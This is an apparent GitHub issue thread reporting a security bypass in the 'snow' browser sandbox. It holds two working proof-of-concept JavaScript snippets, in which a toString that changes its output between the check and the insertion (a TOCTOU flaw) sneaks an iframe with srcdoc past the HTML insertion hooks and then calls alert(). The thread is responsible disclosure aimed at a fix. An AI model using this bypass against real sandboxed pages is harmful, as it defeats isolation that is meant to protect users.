customElements extends check can be bypassed using a non-string about snow HOT 3 OPEN

The hook in inserters.js can be bypassed similarly (TOCTOU), to avoid ERR_HTML_FRAMES_SRCDOC_BLOCKED when inserting a html string containing an iframe with srcdoc:

        before(args); // will operate on <u>legit html!</u>
        const ret = Function.prototype.apply.call(native, this, args); // will operate on <iframe id=xxx srcdoc="<iframe>"></iframe>
        after(args, element);

class b extends HTMLElement {
    constructor() {
        super();
    };
    fetched=false;
    toString() {
        if(this.fetched){
            return '<iframe id=xxx srcdoc="<iframe>"></iframe>';
        }else{
            return this.fetched='<u>legit html!</u>';
        }
    };
};

customElements.define('x-foo', b);
document.documentElement.insertAdjacentHTML("beforeend",document.createElement('x-foo'));
setTimeout(e=>{xxx.contentWindow.frames[0].alert(1)}, 1000);

from snow.

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this.
The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.

from snow.

Very nice, very creative and well explained - thank you @avlidienbrunn!
Did some research, not gonna be able to address this atm, leaving some extra conclusions for now:

a = document.createElement('a');
top.xxx = 0;
a.toString = () => {
    console.log(top.xxx);
    if (top.xxx === 1) {
         return '<iframe srcdoc="<iframe>"></iframe>';
    }
    top.xxx++;
    return '<legit>xxx</legit>';
}
document.body.innerHTML = a;
setTimeout(() => window[0][0].alert('bypass'), 101)

would also work, because snow isn't well prepared for actual DOM nodes passed to HTML sinks...

(AM OPEN FOR MITIGATION IDEAS/THOUGHTS!)

from snow.